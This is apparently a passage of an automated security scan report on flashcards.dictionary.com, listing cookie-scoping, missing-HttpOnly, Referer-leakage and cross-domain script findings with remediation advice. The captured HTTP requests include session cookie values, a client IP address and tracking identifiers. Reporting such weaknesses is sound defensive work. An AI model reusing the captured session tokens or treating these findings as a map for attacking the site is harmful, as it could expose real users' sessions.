Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22350a408a73bfaddb60be89e4c25c9826%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987871%22%3B%7D663e50eb3f35e5858c54d6027d048709; expires=Thu, 24-Mar-2011 19:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:11 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41412

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...

2.2. http://flashcards.dictionary.com/mydecks  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://flashcards.dictionary.com
Path:   /mydecks

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /mydecks HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; bid=TYeqb0LreVxhb%2F7Z; sid=TYt%2FmELreURtnPE+; wz_uid=0145D38ABB7CF7CFC0A8DECE14D761F3; wz_sid=0A4BD283B57CF7CFC0A8DECE14D761F3; wz_scnt=1; mp_super_properties=%7B%22all%22%3A%20%7B%22logged_in%22%3A%200%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D; __switchTo5x=7; __unam=af928ed-12ee8ebc865-11d4cc98-1; __utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.901727063.1300987844.1300987844.1300987844.1; __utmc=1; __utmb=1.2.10.1300987844

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:34 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22c040bc87e60c5e568981b6aea7df3b10%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987894%22%3B%7D7edc3ee6098814b47eb61f4dcb70538b; expires=Thu, 24-Mar-2011 19:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 12058

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://flashcards.dictionary.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:11 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22350a408a73bfaddb60be89e4c25c9826%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987871%22%3B%7D663e50eb3f35e5858c54d6027d048709; expires=Thu, 24-Mar-2011 19:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:11 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41412

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...

3.2. http://flashcards.dictionary.com/mydecks  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://flashcards.dictionary.com
Path:   /mydecks

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /mydecks HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; bid=TYeqb0LreVxhb%2F7Z; sid=TYt%2FmELreURtnPE+; wz_uid=0145D38ABB7CF7CFC0A8DECE14D761F3; wz_sid=0A4BD283B57CF7CFC0A8DECE14D761F3; wz_scnt=1; mp_super_properties=%7B%22all%22%3A%20%7B%22logged_in%22%3A%200%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D; __switchTo5x=7; __unam=af928ed-12ee8ebc865-11d4cc98-1; __utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.901727063.1300987844.1300987844.1300987844.1; __utmc=1; __utmb=1.2.10.1300987844

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:34 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22c040bc87e60c5e568981b6aea7df3b10%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987894%22%3B%7D7edc3ee6098814b47eb61f4dcb70538b; expires=Thu, 24-Mar-2011 19:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:34 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:34 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 12058

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:11 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22350a408a73bfaddb60be89e4c25c9826%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987871%22%3B%7D663e50eb3f35e5858c54d6027d048709; expires=Thu, 24-Mar-2011 19:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:11 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41412

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<a href="http://flashcards.dictionary.com/" class="diclogo"><img alt="Dictionary.com" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/flashcards_logo.png"></a>
...[SNIP]...
<div id="hlin">
   <a href="http://dictionary.reference.com/" onmousedown="updateQuery();">Dictionary</a>
   <a href="http://thesaurus.com/" onmousedown="updateQuery();">Thesaurus</a>
...[SNIP]...
</a>
   <a href="http://www.reference.com/" onmousedown="updateQuery();">Reference</a>
   <a href="http://translate.reference.com/" onmousedown="updateQuery();">Translator</a>
...[SNIP]...
<td style="color: gray;">
<img title="Views" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/viewed_icon.png" style="height:10px;width:17px"/>
8
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Adds" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/added_icon.png" style="height:12px;width:12px"/>0
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Likes" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/liked_icon.png" style="height:14px;width:14px"/>0
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Views" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/viewed_icon.png" style="height:10px;width:17px"/>
144
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Adds" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/added_icon.png" style="height:12px;width:12px"/>0
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Likes" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/liked_icon.png" style="height:14px;width:14px"/>0
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Views" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/viewed_icon.png" style="height:10px;width:17px"/>
8
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Adds" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/added_icon.png" style="height:12px;width:12px"/>0
</td>
...[SNIP]...
<td style="color: gray;">
<img title="Likes" src="http://sp.ask.com/en/i/dictionary/flashcards/v1/my_assets/serp_assets/liked_icon.png" style="height:14px;width:14px"/>1
</td>
...[SNIP]...
</a>
<a class="fask" href="http://www.ask.com"><img height="19" border="0" width="24" src="http://app.dictionary.com/img/ask_logo.png" alt="">
...[SNIP]...
</b><a href="http://dictionary.reference.com/word">Word</a><a href="http://www.merchantcircle.com/">Merchant Circle</a><a href="http://www.thedailybeast.com/">The Daily Beast</a><a href="http://www.urbanspoon.com/">UrbanSpoon</a><a href="http://answers.ask.com/">Ask Answers</a><a href="http://answers.askkids.com/">Ask Kids</a><a href="http://answers.bloglines.com/">Bloglines</a><a href="https://sendori.com/">Sendori</a><a href="http://www.reference.com/motif">Motif</a><a href="http://answers.reference.com/" class="npr">Answers</a>
...[SNIP]...
</a>
   <a target="_top" href="http://dictionary.reference.com/help/privacy.html">Privacy Policy</a>
   <a target="_top" href="http://dictionary.reference.com/help/terms.html">Terms of Use</a>
   <a target="_top" href="http://dictionary.reference.com/api">API</a>
...[SNIP]...
</a>
   <a target="_top" href="http://dictionary.reference.com/mediakit">Advertise with Us</a>
...[SNIP]...
</a>
   <a class="npr" target="_top" onmousedown="ct(this,51355);" href="http://dictionary.reference.com/help">Help</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://flashcards.dictionary.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:11 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22350a408a73bfaddb60be89e4c25c9826%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987871%22%3B%7D663e50eb3f35e5858c54d6027d048709; expires=Thu, 24-Mar-2011 19:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:11 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:11 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41412

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
</script>
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...

5.2. http://flashcards.dictionary.com/mydecks  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /mydecks

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /mydecks HTTP/1.1
Host: flashcards.dictionary.com
